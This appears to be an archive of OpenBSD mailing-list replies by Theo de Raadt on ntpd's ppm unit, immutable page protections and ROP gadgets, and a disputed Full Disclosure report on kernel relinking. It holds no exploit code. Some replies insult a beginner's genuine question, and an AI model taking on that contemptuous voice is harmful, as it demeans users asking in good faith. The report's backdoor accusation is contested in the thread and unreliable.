> > regarded as a comprehensive resource for beginners and advanced users 
> > alike. It covers various aspects of OpenBSD, including installation, 
> > network security, system administration, and more. Enjoy reading it!
> > 
> There is another book by Michael Lucas that may be of benefit: "Httpd and 
> Relayd Mastery".
> You can buy it as a *.pdf from Tilted Windmill Press.
> 


One day I really should try this self-hosting which seems to be all the rage.

Re: ntpd and ppm

[Theo de Raadt]

J Doe  wrote:

> On 2023-07-04 17:27, Martin Schröder wrote:
> 
> > Am Di., 4. Juli 2023 um 23:20 Uhr schrieb J Doe :
> >> I checked: man ntpd and: man 2 adjfreq, and while: man 2 adjfreq
> >> mentions the same unit - "ppm" - it doesn't explain what that means.
> >>
> >> What does "ppm" stand for ?
> > 
> > microseconds per second.
> 
> Hi Martin,
> 
> Ah, I see!  From Google there was a link that referenced PPM with a 
> different: ntpd implementation and it mentioned "Parts Per Million", but 
> I was confused by that as I have only heard of Parts Per Million with 
> pollution / chemistry ... but microseconds per second makes sense.

You mean lime "1 in a million" is the same as "microseconds per second"?

There's always jobs for people who can't do simple math.

Re: ntpd and ppm

[Theo de Raadt]

J Doe  wrote:

> Hi,
> 
> I noticed when: ntpd logs time adjustments in: /var/log/daemon it uses a 
> unit of "ppm":
> 
>  Jun 22 23:22:20 server ntpd[45813]: adjusting clock frequency by 
> -1.127600 to 0.056400ppm
> 
> I checked: man ntpd and: man 2 adjfreq, and while: man 2 adjfreq 
> mentions the same unit - "ppm" - it doesn't explain what that means.
> 
> What does "ppm" stand for ?

Since you can't use a search engine to figure that out, I'll give you
a hint.  ppm means "you are stupid".

Re: Immutable Page Protections

[Theo de Raadt]

Justin Handville  wrote:

> > pledge does not drop access to system calls.  It blocks the *action*
> > of it, inside the kernel.  You are muddling things together far too much.
> 
> That's a matter of semantics. The point is that pledge reduces attack surface 
> by
> reducing what a program is capable of doing at the system level. Dropping code
> segments is just another mitigation.

It is not.  A ROP attacker will still find gadgets they want to use in
the huge % of your text segment that remains.

> > You will need to argue that I am wrong before you go any further.
> 
> It doesn't matter. I'm not interested in a debate.

Nor am I.

Re: Immutable Page Protections

[Theo de Raadt]

Justin Handville  wrote:

> Theo de Raadt  wrote:
> 
> > > It's a cheap defense in depth protection that simplifies my use
> > > case.
> 
> > But I don't see a real security benefit of what you are trying to do.
> 
> There may not be. At this point, it's more idiomatic. Don't need code?
> Don't keep it. It's an experimental feature. I'm not too broken up if I
> can't use it anymore. I'll find other ways, and I can always just patch
> the kernel.

I think you are confused by something.

Attackers won't use the text you are unmapping, their method will use
the text you have not unmapped.

You will need to argue that I am wrong before you go any further.

> I arrived at this feature because it's similar to a technique in
> firmware, where code access can be trivially narrowed with an MPU. The
> threat there is easier to perceive, since often there isn't a well
> defined kernel in which access to hardware or cryptography can be
> encapsulated with better guarded entry points.

That argument holds no water with me.

> I think that the immutable flag feature is useful, and I think that
> making it automatic is a great security mitigation. I'm just curious
> whether a feature like drop_this_init_code_I_will_never_call_again()
> would also be useful.

Attackers won't use the text you are unmapping, their method will use
the text you have not unmapped.

> Pledge and unveil can limit the impact of system calls, but within the
> program itself, attackers can find unintended ways of using code.

AGAIN:  Attackers won't use the text you are unmapping, their method will use
the text you have not unmapped.  That is what they do with ROP.  You are
probably capable of removing 5% of your text segment, but the attacker is
going to use the other 95% of your text segment which, due to static-linking,
you have placed at very convenient fixed-offset locations relative to whatever
bug they find to exercise.

> One
> salient example I can think of where this may be dangerous is in a more
> dynamic language where eval() or the code generator is needed at
> startup, but is no longer needed after the program enters steady state.
> We've seen plenty of attacks, like Log4J, where sloppy features can be
> used to exploit a naked eval(). Certainly, one solution is to limit what
> libraries are being used. But, another is to go a la carte as with
> pledge, and say, "I no longer need eval(), so drop it."

You are confusing mechanism.  pledge blocks the operation in the kernel,
not in the address space.  You think you can block the operation in the
existing operating system.  A ROP attacker will perform his operations
without caring about the code you have unmapped, because they will use
the large swaths of text-segment you have left mapped because you need it,
and still contains a vast amount of gadgetry.  And since you are using
static linking to know where your to-be-unmapped pieces are, you have
conveniently given the attacker fixed-offset locations for the gadgets.

I think you have it all backwards.

> Yes, dynamic languages are an entirely other can of worms, and they
> often have other ways to drop code. But, I think an argument could be
> made for this being useful in a static C/C++ program. Init code and
> other run-once code is still callable, which means that it's ripe for
> gadgets. ASLR and other mitigations make this harder, but not impossible
> as we've seen with various attacks to bypass these mitigations. It's
> much harder to exploit what no longer exists...

Please don't talk to me about ASLR when you are making a static binary
that has libc.a pieces at fixed offsets inside it.
> 
> > I'll think about it a bit.  But I am very much not convinced that those
> > text segments you have lying around are a real risk.
> 
> That's the point of the thread. It's just food for thought. I know that
> features that OpenBSD develop often pop up in other operating systems.

> Dropping code, at least to me, seems like a natural progression of
> dropping access to system calls.

pledge does not drop access to system calls.  It blocks the *action*
of it, inside the kernel.  You are muddling things together far too much.

Re: Immutable Page Protections

[Theo de Raadt]

Justin Handville  wrote:

> Dave Voutila  wrote:
> 
> > Have you considered a libexec approach instead? If the goal is to keep a
> > child process having only the executable pages it needs for operations,
> > why not split up the program design instead of mucking with ELF stuff?
> > That surely has to be even more portable.
> 
> I have. There are other reasons for preferring a single static binary. I
> agree that playing with ELF sections is problematic. But, on most
> systems I use, this works. It's no worse than assumptions made for GC,
> dynamic code generation, or fibers on most platforms. Of course, like
> each of these assumptions, it's not guaranteed and, as with what
> happened with 7.3, is likely to go away at any time.

A single static binary has no internal random linking, so ROP attack
methods are easy.  Your binary probably has more syscall stubs than you
expect, due to initialzation code and path-not-taken inside higher-level
library functions.  And you cannot reasonably displace those for hiding.

Then if you go dynamic, you have all the stubs at random locations and
cannot unmap the real attack surface, but no... you prefer to have fewer
but at fixed known offsets.

Even then, an attacker is not going to use your unmapped text.  They always
use ROP on top of lower level primitives.

I think your belief in how people attack code is misplaced.  I do not
think this idea is useful in general, so I don't think we should bend
over to support it.

Re: Immutable Page Protections

[Theo de Raadt]

Justin Handville  wrote:

> I'm assuming that misc@ is probably the best place for this e-mail,
> although it gets a bit in the tech@ weeds.  I upgraded to 7.3 not so
> long ago, and I noticed that a daemon I had written was no longer
> working properly. For reasons that are probably too much to get into
> here, I statically link the daemon. It's a single binary that makes use
> of pledge / unveil, and privilege separation. This all works fine. It
> also has another trick, which unfortunately no longer works in 7.3.
> 
> To reduce the code footprint of this daemon as well as the potential
> gadget attack surface, I have it drop any code that it will no longer
> execute. This happens after fork / exec on a child, and also after
> initialization code executes before the child process enters its steady
> state. This is trivially done by grouping functions into custom page
> aligned sections in the ELF binary, and running mprotect on these
> sections with PROT_NONE. I considered munmap as well as other tricks,
> but so far, this seems to be the most portable way to handle this trick
> that I could think of between BSD and Linux. I'm sure others are more
> clever.  It's a cheap defense in depth protection that simplifies my use
> case.
> 
> As of OpenBSD 7.3, when the immutable flag entered mainstream, this
> trick no longer works. Given that my trick is a total hack, I'm not too
> broken up about it.  Of course, this change led me to doing some poking
> around.

Sorry.

But I don't see a real security benefit of what you are trying to do.

> I noticed that in sys/uvm/uvm_map.c, an exception was granted to allow
> Chrome to drop the write flag for a region for userland compatibility.
> That makes sense as a temporary measure. I'm wondering, however, if it
> might not make sense to think about this functionality differently.
> Instead of immutable memory regions, why can't we consider a more
> pledge-like ratcheting for memory regions, where bits can be removed,
> but never added back? How does this impact the gadget attack surface
> that led to the immutable flag being considered to begin with?

Because then programs need active code to do so.  Where will those calls
be?  Today, the kernel does it automatically before the program runs.
You want to do it at c runtime startup?  It would be the same.  Or you
want programs to have to do it themselves?  Like, lock_my_text_segment()
called from inside main?  That really doesn't make sense.


> For the time being, I extended the exception in uvm_map.c on my own
> OpenBSD systems to allow immutable regions to be stripped of all
> protection flags with a call to mprotect. So, in addition to allowing RW
> to R, if the region is any combination of PROT_READ, PROT_WRITE, or
> PROT_EXEC, then it can be reduced to PROT_NONE. This seemed the safer
> option for patching for now.

The ratchet-down piece in uvm will eventually be deleted, when we return
to review the entire corpus of software behaviour.  We left that small
piece of behaviour due to a v8/chrome requirement, and were a bit
fearfull that other software also had such requirements, but were short
on doing a complete ecosystem review at the time.  So if anything, this
is going to become more strict, not less strict.

> Of course, this further breaks the
> definition of "immutable", but at least immutable regions can only have
> protection bits removed.

To me, it is unclear if permission lowering lacks a bad failure mode.
There are a scary number of programs with sigsegv handlers, trying to
cope with unexpected behaviours in "clever ways".  If you demote permissions,
you can get into that fragile rarely tested code, so I'm going to claim
permission reduction might not be safe.

> My reason for mailing misc@ is just to bring up this data point from a
> single user. I'm certain that the OpenBSD developers have reasons for
> preferring a pure immutable flag, but having a mechanism for ratcheting
> down protections is useful at least for me, and is apparently useful
> enough in userland going from RW to R, that an exception was carved out
> for now. Of course, I'm more than happy to work with the developers to
> come up with a plan for upstreaming this feature if it's something
> useful. If not, I have no problem adding it to my personal list of
> patches I maintain that I doubt anyone else would want or need.

I'll think about it a bit.  But I am very much not convinced that those
text segments you have lying around are a real risk.

Re: (fwd) [FD] OpenBSD kernel relinking is not transactional and a local exploit exists

[Theo de Raadt]

That writeup is bullshit.

If an attacker can replace files owned by root, they can replace other
files rather than these files.

Why replace some .o files and depend on a future reboot, I dunno, replacing
ssh, or ksh, some things in /etc, or tens of thousands of other files?

OR, why not replace the sha256 command?

It is a completely garbage report, which was on our mailing list before,
and the author is doubling down by taking his views to other places.

Tomasz Rola  wrote:

> This happened in my mailbox today. FD means "full disclosure" and is
> publicly available mailing list.
> 
> I repost onto misc because if this is a real cat, seems it is out of
> the bag already. Other than being subscribed to FD, I have no
> connection.
> 
> --- Forwarded Message
> 
> Date: Sat, 17 Jun 2023 09:40:16 +
> From: "Schech, C. W. (Connor)" 
> To: fulldisclos...@seclists.org
> Subject: [FD] OpenBSD kernel relinking is not transactional and a local 
> exploit
>   exists
> 
> The automatic and mandatory-by-default reordering of OpenBSD kernels
> is NOT transactional and as a result, a local unpatched exploit exists
> which allows tampering or replacement of the kernel. Arbitrary build
> artifacts are cyclically relinked with no data integrity or provenance
> being maintained or verified for the objects being consumed with
> respect to the running kernel before and during the execution of the
> mandatory kernel_reorder process in the supplied /etc/rc and
> /usr/libexec scripts. The reordering occurs at the end of installation
> process and also automatically every reboot cycle thereafter unless
> manually bypassed by a knowledgable party.
> 
> The kernel_reorder routine verifies a SHA256 signature for the linked
> kernel from last boot but does not verify the integrity or provenance
> of any objects kept in the kernel "link kit" installed in
> /usr/share/relink, so arbitrary objects can be injected and
> automatically relinked at the next startup. I have verified that it is
> indeed the case that both valid kernels with a different uname and
> kernels which cause data destruction due to over-tuning of a subset of
> the components which were compiled manually and copied into
> /usr/share/relink and crash the system after being booted once
> relinked but which do not match the build of the running kernel at the
> time they were copied into /usr/share/relink as working
> proof-of-concept exploits.
> 
> Install media are also open to tampering and exploitation as signed
> checksum data are not carried with the install sets inside the
> installation image and an improperly-encapsulated poorly-documented
> tarball of unverifiable (in the sense of SLSA) kernel objects is
> embedded in the base distribution and then relinked with a new random
> ordering of the objects cyclically between boot cycles.
> 
> Sites with a strong security posture are advised that this is a
> critical vulnerability and likely deliberate back door into the
> system. Additionally, OpenBSD leaks the state of the pseudorandom
> number generator to predictable locations on disk and in system memory
> at a fixed point during every start up and shutdown procedure. The
> lack of build process hardening has been on-going for over three
> years. Theo de Raadt is disinterested in improving or reviewing the
> design or providing any further clarification, as he has stated on the
> mailing list when shortfalls in the relinking process were reported
> over the past ~3 years. I hope that this can come to the attention of
> a third-party technical expert with standing in the computer security
> industry.
> 
> Workaround:
> 
> As the link kit is embedded in the base distribution and automatically
> relinked without an option to disable it in the provided installation
> script it requires manual removal at present.
> 
> Cf.
> 
> https://marc.info/?l=openbsd-bugs=159074964523007=2 (noted lack of
> idempotency)
> https://marc.info/?l=openbsd-bugs=168688579123005=2 (noted lack of
> integrity or provenance verification and the consumption of invalid
> objects)
> 
> https://slsa.dev/spec/v1.0/levels#build-l2-hosted-build-platform:
> 
> "Track/Level Requirements Focus
>  Build L3   Hardened build platform  Tampering during the build"
> ___
> Sent through the Full Disclosure mailing list
> https://nmap.org/mailman/listinfo/fulldisclosure
> Web Archives & RSS: https://seclists.org/fulldisclosure/
> 
>